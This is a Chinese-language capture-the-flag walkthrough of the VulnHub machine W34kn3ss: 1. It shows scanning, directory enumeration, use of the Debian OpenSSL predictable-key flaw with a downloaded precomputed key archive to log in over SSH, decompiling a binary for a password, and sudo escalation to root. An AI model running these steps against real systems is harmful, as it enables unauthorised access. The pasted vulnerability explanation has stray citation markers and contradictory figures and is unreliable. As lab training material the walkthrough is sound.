W34kn3ss: 1
来自 <W34kn3ss: 1 ~ VulnHub>
1,将两台虚拟机网络连接都改为NAT模式
2,攻击机上做namp局域网扫描发现靶机
nmap -sn 192.168.23.0/24
那么攻击机IP为192.168.23.182,靶场IP192.168.23.222
3,对靶机进行端口服务探测
nmap -sV -T4 -p- -A 192.168.23.222
4,网站信息收集的内容提示过使用域名访问,修改kali的/etc/hosts文件即可
访问80端口开放的http服务
访问443端口开放的https服务
使用域名访问: http://weakness.jth/
4,那就扫描网站下的子目录
dirsearch -u http://192.168.23.222 -x 403,404
访问一下/blog
需要在这个目录下继续扫描枚举
dirsearch -u http://192.168.23.222/blog -x 403,404 #发现什么都没有
dirsearch -u http://192.168.23.222/test -x 403,404 #发现什么都没有
访问一下/upload.php
能够上传文件,但是不知道文件会被上传到哪个路径。
dirsearch -u http://weakness.jth -x 403,404
http://weakness.jth/robots.txt
http://weakness.jth/private/
第一个文件可以下载(.pub是公共密钥),第二个文件存在提示
5,那就检索一下openssl的相关漏洞
searchsploit openssl 0.9.8
searchsploit -m 5622.txt
cat 5622.txt
该漏洞涉及2008年Debian系统中OpenSSL库的重大安全缺陷,导致生成的SSH密钥熵严重不足,仅有65,536种可能的组合(仅依赖进程PID作为熵源)。攻击者可通过预生成的密钥库快速暴力破解SSH登录。以下是漏洞的详细解析与利用方法:
漏洞背景与原理
- 熵源缺陷
Debian维护者在2006年对OpenSSL代码进行了错误修改,移除了随机数生成器(RNG)的关键熵源(如进程ID、内存状态等),仅保留了进程PID作为唯一熵源。由于PID在Linux系统中最大值为32,768(实际为65,536,但受系统限制通常更低),导致生成的SSH密钥空间极小67。 - 影响范围
所有基于未修补的Debian系统(2006年9月至2008年5月期间)生成的SSH密钥均受影响。此外,任何手动配置为使用类似弱熵源的系统也可能被攻击。 - 漏洞危害
攻击者可预计算所有可能的密钥,通过批量尝试快速登录目标服务器,完全绕过密码验证,获取root权限。
漏洞利用步骤
1. 准备工作
- 下载预生成密钥库
从HD Moore提供的资源(如Metasploit镜像或Exploit-DB镜像获取debian_ssh_rsa_2048_x86.tar.bz2,解压后得到约65,536个私钥文件。 - 配置目标系统
确保目标系统的/root/.ssh/authorized_keys中包含受漏洞影响的RSA 2048位密钥(需在未修复的Debian系统上生成)。
2. 执行暴力破解脚本
#!/usr/bin/perl |
- 脚本逻辑
每次尝试6个密钥(通过$keysPerConnect控制),利用SSH客户端并行连接目标服务器。由于密钥数量有限,通常20分钟内即可命中有效密钥[citation:用户消息]。
3. 获取Shell
成功匹配密钥后,攻击者可直接以root身份登录目标系统,执行任意命令。
漏洞修复与防御
- 系统修复
- 更新OpenSSL与OpenSSH:Debian发布了补丁(如DSA-1571-1),修复了RNG熵源问题,需通过apt-get upgrade升级相关包46。
- 重新生成SSH密钥:使用ssh-keygen -t rsa生成新密钥对,并替换所有受影响的旧密钥。
- 防御措施
- 禁用弱密钥:通过ssh-vulnkeys工具检测并移除漏洞密钥。
- 限制SSH访问:配置防火墙仅允许可信IP连接,或使用双因素认证。
- 监控日志:检查/var/log/auth.log中的异常登录尝试11。
技术影响与后续
此漏洞暴露了开源软件维护中代码审核的重要性。Debian的修复涉及调整RNG实现(如恢复/dev/urandom作为熵源),并通过补丁(如shell-path.patch)优化了SSH组件的执行路径安全67。该事件成为密码学安全领域的经典案例,强调了密钥生成过程中熵源的多样性需求。
6,首先下载并且解压攻击利用的压缩包
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/5622.tar.bz2
tar -xvjf 5622.tar.bz2
然后查看pub文件,并且和给的密钥在文件夹/root/rsa/2048中进行匹配
cat mykey.pub
grep -r -l "AAAAB3NzaC1yc2EAAAABIwAAAQEApC39uhie9gZahjiiMo+k8DOqKLujcZMN1bESzSLT8H5jRGj8n1FFqjJw27Nu5JYTI73Szhg/uoeMOfECHNzGj7GtoMqwh38clgVjQ7Qzb47/kguAeWMUcUHrCBz9KsN+7eNTb5cfu0O0QgY+DoLxuwfVufRVNcvaNyo0VS1dAJWgDnskJJRD+46RlkUyVNhwegA0QRj9Salmpssp+z5wq7KBPL1S982QwkdhyvKg3dMy29j/C5sIIqM/mlqilhuidwo1ozjQlU2+yAVo5XrWDo0qVzzxsnTxB5JAfF7ifoDZp2yczZg+ZavtmfItQt1Vac1vSuBPCpTqkjE/4Iklgw=="
7,现在使用公钥ssh登录,用户名:n30
ssh -i 4161de56829de2fe64b9055711f531c1-2537 n30@192.168.23.222
然后信息收集一下
该用户的家目录下存在一个code文件,是python可执行文件
需要反编译一下就行分析,开启一个http访问运行kali攻击机下载
cp code /var/www/html
python3 -m http.server
wget http://192.168.23.222:8000/code
8,在kali上使用uncompyle6反编译之后获得密码
mv code code.pyc
# 创建虚拟环境
python3 -m venv ~/myenv
source ~/myenv/bin/activate # 激活环境
# 安装包(现在可以用 pip)
pip install uncompyle6
# 使用完毕后退出
deactivate
由此获得用户的密码
Username:n30
Password:dMASDNB!!#B!#!#33
9,查看一下用户能否sudo -l提权
那么就可以直接sudo启动一个bash变成root用户
sudo /bin/bash